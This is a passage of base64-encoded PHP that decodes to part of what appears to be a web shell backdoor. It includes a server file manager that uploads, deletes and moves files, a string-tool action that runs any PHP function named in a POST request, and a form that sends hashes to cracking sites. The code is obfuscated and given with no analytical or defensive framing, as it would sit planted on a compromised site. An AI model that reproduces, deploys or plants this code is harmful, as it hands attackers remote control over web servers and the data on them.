AgZWNobyAnPC9wcmU+PC9kaXY+JzsgDQogICAgcHJpbnRGb290 ZXIoKTsgDQp9IA0KIA0KZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW 4oKSB7IA0KICAgIHByaW50SGVhZGVyKCk7IA0KICAgIGVjaG8g JzxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udG VudD4nOyANCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pKSB7 IA0KICAgICAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7IA0KIC AgICAgICAgICAgY2FzZSAndXBsb2FkRmlsZSc6IA0KICAgICAg ICAgICAgICAgIGlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRk lMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWydu YW1lJ10pKSANCiAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2 FuJ3QgdXBsb2FkIGZpbGUhIjsgDQogICAgICAgICAgICAgICAg YnJlYWs7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgIC AgICAgICAgIGNhc2UgJ21rZGlyJzogDQogICAgICAgICAgICAg ICAgaWYoIUBta2RpcigkX1BPU1RbJ3AyJ10pKSANCiAgICAgIC AgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgY3JlYXRlIG5ldyBk aXIiOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgIC AgICAgICBjYXNlICdkZWxldGUnOiANCiAgICAgICAgICAgICAg ICBmdW5jdGlvbiBkZWxldGVEaXIoJHBhdGgpIHsgDQogICAgIC AgICAgICAgICAgICAgICRwYXRoID0gKHN1YnN0cigkcGF0aCwt MSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7IA0KICAgICAgIC AgICAgICAgICAgICAkZGggID0gb3BlbmRpcigkcGF0aCk7IA0K ICAgICAgICAgICAgICAgICAgICB3aGlsZSAoICgkaXRlbSA9IH JlYWRkaXIoJGRoKSApICE9PSBmYWxzZSkgeyANCiAgICAgICAg ICAgICAgICAgICAgICAgICRpdGVtID0gJHBhdGguJGl0ZW07IA 0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCAoYmFzZW5h bWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbS kgPT0gIi4iKSApIA0KICAgICAgICAgICAgICAgICAgICAgICAg ICAgIGNvbnRpbnVlOyANCiAgICAgICAgICAgICAgICAgICAgIC AgICR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOyANCiAgICAgICAg ICAgICAgICAgICAgICAgIGlmICgkdHlwZSA9PSAiZGlyIikgDQ ogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVsZXRlRGly KCRpdGVtKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBlbH NlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGlu aygkaXRlbSk7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KIC AgICAgICAgICAgICAgICAgICBjbG9zZWRpcigkZGgpOyANCiAg ICAgICAgICAgICAgICAgICAgcm1kaXIoJHBhdGgpOyANCiAgIC AgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGlmKGlz X2FycmF5KEAkX1BPU1RbJ2YnXSkpIA0KICAgICAgICAgICAgIC AgICAgICBmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKSB7IA0K ICAgICAgICAgICAgICAgICAgICAgICAgJGYgPSB1cmxkZWNvZG UoJGYpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlz X2RpcigkZikpIA0KICAgICAgICAgICAgICAgICAgICAgICAgIC AgIGRlbGV0ZURpcigkZik7IA0KICAgICAgICAgICAgICAgICAg ICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgIC AgIEB1bmxpbmsoJGYpOyANCiAgICAgICAgICAgICAgICAgICAg fSANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgIC AgICBjYXNlICdwYXN0ZSc6IA0KICAgICAgICAgICAgICAgIGlm KCRfU0VTU0lPTlsnYWN0J10gPT0gJ2NvcHknKSB7IA0KICAgIC AgICAgICAgICAgICAgICBmdW5jdGlvbiBjb3B5X3Bhc3RlKCRj LCRzLCRkKXsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZi hpc19kaXIoJGMuJHMpKXsgDQogICAgICAgICAgICAgICAgICAg ICAgICAgICAgbWtkaXIoJGQuJHMpOyANCiAgICAgICAgICAgIC AgICAgICAgICAgICAgICAkaCA9IG9wZW5kaXIoJGMuJHMpOyAN CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKC RmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkgDQogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGYgIT0gIi 4iKSBhbmQgKCRmICE9ICIuLiIpKSB7IA0KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkYy 4kcy4nLycsJGYsICRkLiRzLicvJyk7IA0KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgIC AgICAgICAgICAgfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpIHsg DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGNvcHkoJG MuJHMsICRkLiRzKTsgDQogICAgICAgICAgICAgICAgICAgICAg ICB9IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgIC AgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFz ICRmKSANCiAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcG FzdGUoJF9TRVNTSU9OWydjd2QnXSwkZiwgJEdMT0JBTFNbJ2N3 ZCddKTsgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgIC AgICAgICB9IGVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICdt b3ZlJykgeyANCiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb2 4gbW92ZV9wYXN0ZSgkYywkcywkZCl7IA0KICAgICAgICAgICAg ICAgICAgICAgICAgaWYoaXNfZGlyKCRjLiRzKSl7IA0KICAgIC AgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCRkLiRzKTsg DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBvcG VuZGlyKCRjLiRzKTsgDQogICAgICAgICAgICAgICAgICAgICAg ICAgICAgd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gZm Fsc2UpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgey ANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IGNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOy ANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAN CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmKGlzX2 ZpbGUoJGMuJHMpKSB7IA0KICAgICAgICAgICAgICAgICAgICAg ICAgICAgIEBjb3B5KCRjLiRzLCAkZC4kcyk7IA0KICAgICAgIC AgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAg ICAgfSANCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1 NFU1NJT05bJ2YnXSBhcyAkZikgDQogICAgICAgICAgICAgICAg ICAgICAgICBAcmVuYW1lKCRfU0VTU0lPTlsnY3dkJ10uJGYsIC RHTE9CQUxTWydjd2QnXS4kZik7IA0KICAgICAgICAgICAgICAg IH0gDQogICAgICAgICAgICAgICAgdW5zZXQoJF9TRVNTSU9OWy dmJ10pOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAg ICAgICAgICBkZWZhdWx0OiANCiAgICAgICAgICAgICAgICBpZi ghZW1wdHkoJF9QT1NUWydwMSddKSAmJiAoKCRfUE9TVFsncDEn XSA9PSAnY29weScpfHwoJF9QT1NUWydwMSddID09ICdtb3ZlJy kpICkgeyANCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9O WydhY3QnXSA9IEAkX1BPU1RbJ3AxJ107IA0KICAgICAgICAgIC AgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2Yn XTsgDQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRV NTSU9OWydmJ10gYXMgJGsgPT4gJGYpIA0KICAgICAgICAgICAg ICAgICAgICAgICAgJF9TRVNTSU9OWydmJ11bJGtdID0gdXJsZG Vjb2RlKCRmKTsgDQogICAgICAgICAgICAgICAgICAgICRfU0VT U0lPTlsnY3dkJ10gPSBAJF9QT1NUWydjJ107IA0KICAgICAgIC AgICAgICAgIH0gDQogICAgICAgICAgICAgICAgYnJlYWs7IA0K ICAgICAgICB9IA0KICAgICAgICBlY2hvICc8c2NyaXB0PmRvY3 VtZW50Lm1mLnAxLnZhbHVlPSIiO2RvY3VtZW50Lm1mLnAyLnZh bHVlPSIiOzwvc2NyaXB0Pic7IA0KICAgIH0gDQogICAgJGRpck NvbnRlbnQgPSBAc2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgaW YoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7ICAgIGVjaG8gJ0Nh blwndCBvcGVuIHRoaXMgZm9sZGVyISc7IHJldHVybjsgICAgfQ 0KICAgIGdsb2JhbCAkc29ydDsgDQogICAgJHNvcnQgPSBhcnJh eSgnbmFtZScsIDEpOyANCiAgICBpZighZW1wdHkoJF9QT1NUWy dwMSddKSkgeyANCiAgICAgICAgaWYocHJlZ19tYXRjaCgnIXNf KFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ3AxJ10sICRtYX RjaCkpIA0KICAgICAgICAgICAgJHNvcnQgPSBhcnJheSgkbWF0 Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsgDQogICAgfSANCj8+IA 0KPHNjcmlwdD4gDQogICAgZnVuY3Rpb24gc2EoKSB7IA0KICAg ICAgICBmb3IoaT0wO2k8ZG9jdW1lbnQuZmlsZXMuZWxlbWVudH MubGVuZ3RoO2krKykgDQogICAgICAgICAgICBpZihkb2N1bWVu dC5maWxlcy5lbGVtZW50c1tpXS50eXBlID09ICdjaGVja2JveC cpIA0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmZpbGVzLmVs ZW1lbnRzW2ldLmNoZWNrZWQgPSBkb2N1bWVudC5maWxlcy5lbG VtZW50c1swXS5jaGVja2VkOyANCiAgICB9IA0KPC9zY3JpcHQ+ IA0KPHRhYmxlIHdpZHRoPScxMDAlJyBjbGFzcz0nbWFpbicgY2 VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScyJz4gDQo8Zm9y bSBuYW1lPWZpbGVzIG1ldGhvZD1wb3N0PiANCjw/cGhwIA0KICAgIGVjaG8gIjx0cj48dGggd2lkdGg9JzEzcHgnPj xpbnB1dCB0eXBlPWNoZWNrYm94IG9uY2xpY2s9J3NhKCknIGNs YXNzPWNoa2J4PjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2 s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX25hbWVfIi4oJHNv cnRbMV0/MDoxKS4iXCIpJz5OYW1lPC9hPjwvdGg+PHRoPjxhIGhyZWY9Jy MnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3Np emVfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5TaXplPC9hPjwvdGg+PHRoPjxhIGhyZWY9Jy MnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX21v ZGlmeV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk1vZGlmeTwvYT 48L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPjxhIGhyZWY9 JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3 Blcm1zXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+UGVybWlzc2lv bnM8L2E+PC90aD48dGg+QWN0aW9uczwvdGg+PC90cj4iOyANCi AgICAkZGlycyA9ICRmaWxlcyA9ICRsaW5rcyA9IGFycmF5KCk7 IA0KICAgICRuID0gY291bnQoJGRpckNvbnRlbnQpOyANCiAgIC Bmb3IoJGk9MDskaTwkbjskaSsrKSB7IA0KICAgICAgICAkb3cg PSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZGlyQ29udG VudFskaV0pKTsgDQogICAgICAgICRnciA9IEBwb3NpeF9nZXRn cmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOyANCi AgICAgICAgJHRtcCA9IGFycmF5KCduYW1lJyA9PiAkZGlyQ29u dGVudFskaV0sIA0KICAgICAgICAgICAgICAgICAgICAgJ3BhdG gnID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0s IA0KICAgICAgICAgICAgICAgICAgICAgJ21vZGlmeScgPT4gZG F0ZSgnWS1tLWQgSDppOnMnLEBmaWxlbXRpbWUoJEdMT0JBTFNb J2N3ZCddLiRkaXJDb250ZW50WyRpXSkpLCANCiAgICAgICAgIC AgICAgICAgICAgICdwZXJtcycgPT4gdmlld1Blcm1zQ29sb3Io JEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksDQogIC AgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gQGZpbGVzaXpl KCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLCANCi AgICAgICAgICAgICAgICAgICAgICdvd25lcicgPT4gJG93Wydu YW1lJ10/JG93WyduYW1lJ106QGZpbGVvd25lcigkZGlyQ29udGVudFskaV 0pLCANCiAgICAgICAgICAgICAgICAgICAgICdncm91cCcgPT4g JGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV 0pIA0KICAgICAgICAgICAgICAgICAgICApOyANCiAgICAgICAg aWYoQGlzX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW 50WyRpXSkpIA0KICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJh eV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKS k7IA0KICAgICAgICBlbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNb J2N3ZCddLiRkaXJDb250ZW50WyRpXSkpIA0KICAgICAgICAgIC AgJGxpbmtzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgn dHlwZScgPT4gJ2xpbmsnKSk7IA0KICAgICAgICBlbHNlaWYoQG lzX2RpcigkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGld KSYmICgkZGlyQ29udGVudFskaV0gIT0gIi4iKSkgDQogICAgIC AgICAgICAkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJy YXkoJ3R5cGUnID0+ICdkaXInKSk7IA0KICAgIH0gDQogICAgJE dMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0OyANCiAgICBmdW5jdGlv biBjbXAoJGEsICRiKSB7IA0KICAgICAgICBpZigkR0xPQkFMU1 snc29ydCddWzBdICE9ICdzaXplJykgDQogICAgICAgICAgICBy ZXR1cm4gc3RyY21wKCRhWyRHTE9CQUxTWydzb3J0J11bMF1dLC AkYlskR0xPQkFMU1snc29ydCddWzBdXSkqKCRHTE9CQUxTWydz b3J0J11bMV0/MTotMSk7IA0KICAgICAgICBlbHNlDQogICAgICAgICAgICByZX R1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6 IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOyANCiAgIC B9IA0KICAgIHVzb3J0KCRmaWxlcywgImNtcCIpOyANCiAgICB1 c29ydCgkZGlycywgImNtcCIpOyANCiAgICB1c29ydCgkbGlua3 MsICJjbXAiKTsgDQogICAgJGZpbGVzID0gYXJyYXlfbWVyZ2Uo JGRpcnMsICRsaW5rcywgJGZpbGVzKTsgDQogICAgJGwgPSAwOy ANCiAgICBmb3JlYWNoKCRmaWxlcyBhcyAkZikgeyANCiAgICAg ICAgZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPjxpbnB1dCB0eXBlPWNoZW NrYm94IG5hbWU9ImZbXSIgdmFsdWU9IicudXJsZW5jb2RlKCRm WyduYW1lJ10pLiciIGNsYXNzPWNoa2J4PjwvdGQ+PHRkPjxhIG hyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUn KT8nZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZG UoJGZbJ25hbWUnXSkuJ1wnLCBcJ3ZpZXdcJykiPicuaHRtbHNw ZWNpYWxjaGFycygkZlsnbmFtZSddKTonZyhcJ0ZpbGVzTWFuXC csXCcnLiRmWydwYXRoJ10uJ1wnKTsiPjxiPlsgJy5odG1sc3Bl Y2lhbGNoYXJzKCRmWyduYW1lJ10pLicgXTwvYj4nKS4nPC9hPj wvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP3ZpZXdT aXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD 4nLiRmWydtb2RpZnknXS4nPC90ZD48dGQ+Jy4kZlsnb3duZXIn XS4nLycuJGZbJ2dyb3VwJ10uJzwvdGQ+PHRkPjxhIGhyZWY9Iy BvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVy bGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI+Jy 4kZlsncGVybXMnXSANCiAgICAgICAgICAgIC4nPC90ZD48dGQ+ PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJy xudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBc J3JlbmFtZVwnKSI+UjwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz 0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUo JGZbJ25hbWUnXSkuJ1wnLCBcJ3RvdWNoXCcpIj5UPC9hPicuKC gkZlsndHlwZSddPT0nZmlsZScpPycgPGEgaHJlZj0iIyIgb25j bGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbm NvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2VkaXRcJykiPkU8L2E+ IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXC csbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywg XCdkb3dubG9hZFwnKSI+RDwvYT4nOicnKS4nPC90ZD48L3RyPi c7IA0KICAgICAgICAkbCA9ICRsPzA6MTsgDQogICAgfSANCiAg ICA/PiANCiAgICA8dHI+PHRkIGNvbHNwYW49Nz4gDQogICAgPGlucH V0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4n PiANCiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbH VlPSc8Pz1odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2Qn XSk/Pic+IA0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYX JzZXQgdmFsdWU9Jzw/PWlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYX JzZXQnXTonJz8+Jz4gDQogICAgPHNlbGVjdCBuYW1lPSdwMSc+ PG9wdGlvbiB2YWx1ZT0nY29weSc+Q29weTwvb3B0aW9uPjxvcH Rpb24gdmFsdWU9J21vdmUnPk1vdmU8L29wdGlvbj48b3B0aW9u IHZhbHVlPSdkZWxldGUnPkRlbGV0ZTwvb3B0aW9uPjw/cGhwIGlmKCFlbXB0eSgkX1NFU1NJT05bJ2FjdCddKSYmQGNvdW 50KCRfU0VTU0lPTlsnZiddKSl7Pz48b3B0aW9uIHZhbHVlPSdw YXN0ZSc+UGFzdGU8L29wdGlvbj48P3BocCB9Pz48L3NlbGVjdD 4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPj4i PjwvdGQ+PC90cj4gDQogICAgPC9mb3JtPjwvdGFibGU+PC9kaX Y+IA0KICAgIDw/cGhwIA0KICAgIHByaW50Rm9vdGVyKCk7IA0KfSANCiANCmZ1bm N0aW9uIGFjdGlvblN0cmluZ1Rvb2xzKCkgeyANCiAgICBpZigh ZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHtmdW5jdGlvbi BoZXgyYmluKCRwKSB7cmV0dXJuIGRlY2JpbihoZXhkZWMoJHAp KTt9fSANCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYX NjaWknKSkge2Z1bmN0aW9uIGhleDJhc2NpaSgkcCl7JHI9Jyc7 Zm9yKCRpPTA7JGk8c3RyTGVuKCRwKTskaSs9Mil7JHIuPWNoci hoZXhkZWMoJHBbJGldLiRwWyRpKzFdKSk7fXJldHVybiAkcjt9 fSANCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZX gnKSkge2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9Jyc7Zm9y KCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gZGVjaGV4KG 9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0g DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVsbF91cmxlbm NvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKXsk cj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPS AnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91 cHBlcigkcik7fX0gDQogICAgICANCiAgICBpZihpc3NldCgkX1 BPU1RbJ2FqYXgnXSkpIHsgDQogICAgICAgICRfU0VTU0lPTltt ZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdH J1ZTsgDQogICAgICAgIG9iX3N0YXJ0KCk7IA0KICAgICAgICBp ZihmdW5jdGlvbl9leGlzdHMoJF9QT1NUWydwMSddKSkgDQogIC AgICAgICAgICBlY2hvICRfUE9TVFsncDEnXSgkX1BPU1RbJ3Ay J10pOyANCiAgICAgICAgJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RW xlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLnN0eWxlLmRpc3BsYXk9 Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dC cpLmlubmVySFRNTD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lh bGNoYXJzKG9iX2dldF9jbGVhbigpKSwiXG5cclx0XFwnXDAiKS 4iJztcbiI7IA0KICAgICAgICBlY2hvIHN0cmxlbigkdGVtcCks ICJcbiIsICR0ZW1wOyANCiAgICAgICAgZXhpdDsgDQogICAgfS ANCiAgICBwcmludEhlYWRlcigpOyANCiAgICBlY2hvICc8aDE+ U3RyaW5nIGNvbnZlcnNpb25zPC9oMT48ZGl2IGNsYXNzPWNvbn RlbnQ+JzsgDQogICAgJHN0cmluZ1Rvb2xzID0gYXJyYXkoIA0K ICAgICAgICAnQmFzZTY0IGVuY29kZScgPT4gJ2Jhc2U2NF9lbm NvZGUnLCANCiAgICAgICAgJ0Jhc2U2NCBkZWNvZGUnID0+ICdi YXNlNjRfZGVjb2RlJywgDQogICAgICAgICdVcmwgZW5jb2RlJy A9PiAndXJsZW5jb2RlJywgDQogICAgICAgICdVcmwgZGVjb2Rl JyA9PiAndXJsZGVjb2RlJywgDQogICAgICAgICdGdWxsIHVybG VuY29kZScgPT4gJ2Z1bGxfdXJsZW5jb2RlJywgDQogICAgICAg ICdtZDUgaGFzaCcgPT4gJ21kNScsIA0KICAgICAgICAnc2hhMS BoYXNoJyA9PiAnc2hhMScsIA0KICAgICAgICAnY3J5cHQnID0+ ICdjcnlwdCcsIA0KICAgICAgICAnQ1JDMzInID0+ICdjcmMzMi csIA0KICAgICAgICAnQVNDSUkgdG8gSEVYJyA9PiAnYXNjaWky aGV4JywgDQogICAgICAgICdIRVggdG8gQVNDSUknID0+ICdoZX gyYXNjaWknLCANCiAgICAgICAgJ0hFWCB0byBERUMnID0+ICdo ZXhkZWMnLCANCiAgICAgICAgJ0hFWCB0byBCSU4nID0+ICdoZX gyYmluJywgDQogICAgICAgICdERUMgdG8gSEVYJyA9PiAnZGVj aGV4JywgDQogICAgICAgICdERUMgdG8gQklOJyA9PiAnZGVjYm luJywgDQogICAgICAgICdCSU4gdG8gSEVYJyA9PiAnYmluMmhl eCcsIA0KICAgICAgICAnQklOIHRvIERFQycgPT4gJ2JpbmRlYy csICAgICAgICAgDQogICAgICAgICdTdHJpbmcgdG8gbG93ZXIg Y2FzZScgPT4gJ3N0cnRvbG93ZXInLCANCiAgICAgICAgJ1N0cm luZyB0byB1cHBlciBjYXNlJyA9PiAnc3RydG91cHBlcicsIA0K ICAgICAgICAnSHRtbHNwZWNpYWxjaGFycycgPT4gJ2h0bWxzcG VjaWFsY2hhcnMnLCANCiAgICAgICAgJ1N0cmluZyBsZW5ndGgn ID0+ICdzdHJsZW4nLCANCiAgICApOyANCiAgICBpZihlbXB0eS gkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10p KSANCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSF RUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsgDQogICAgZWNo byAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naW YodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMu c2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZW xzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUs dGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48c2 VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7IA0KICAgIGZvcmVh Y2goJHN0cmluZ1Rvb2xzIGFzICRrID0+ICR2KSANCiAgICAgIC AgZWNobyAiPG9wdGlvbiB2YWx1ZT0nIi5odG1sc3BlY2lhbGNo YXJzKCR2KS4iJz4iLiRrLiI8L29wdGlvbj4iOyANCiAgICAgIC AgZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcg dmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbW U9YWpheCB2YWx1ZT0xICIuKCRfU0VTU0lPTlttZDUoJF9TRVJW RVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJy kuIj4gc2VuZCB1c2luZyBBSkFYDQo8dGV4dGFyZWEgbmFtZT0n aW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9Ym lnYXJlYT4iLmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDIn XSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMS cgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIG lkPSdzdHJPdXRwdXQnPiI7IA0KICAgIGlmKCFlbXB0eSgkX1BP U1RbJ3AxJ10pKSB7IA0KICAgICAgICBpZihmdW5jdGlvbl9leG lzdHMoJF9QT1NUWydwMSddKSkgDQogICAgICAgIGVjaG8gaHRt bHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMi ddKSk7IA0KICAgIH0gDQogICAgZWNobyI8L3ByZT48L2Rpdj4i OyANCiAgICA/PiANCiAgICAgDQo8aDE+U2VhcmNoIGZvciBoYXNoOjwvaDE+PG RpdiBjbGFzcz1jb250ZW50PiANCiAgICAgICAgPGZvcm0gbWV0 aG9kPSdwb3N0JyB0YXJnZXQ9J19ibGFuaycgbmFtZT0iaGYiPi ANCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1l PSJoYXNoIiBzdHlsZT0id2lkdGg6MjAwcHg7Ij4NCiAgDQogIC AgICAgICAgICA8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i aGFzaGNyYWNrLmNvbSIgb25jbGljaz0iZG9jdW1lbnQuaGYuYW N0aW9uPSdodHRwOi8vd3d3Lmhhc2hjcmFjay5jb20vaW5kZXgu cGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKSI+DQogIA0KICAgIC AgICAgICAgPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Im1p bHcwcm0uY29tIiBvbmNsaWNrPSJkb2N1bWVudC5oZi5hY3Rpb2 49J2h0dHA6Ly93d3cubWlsdzBybS5jb20vY3JhY2tlci9zZWFy Y2gucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKSI+DQogIA0KIC AgICAgICAgICAgPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9 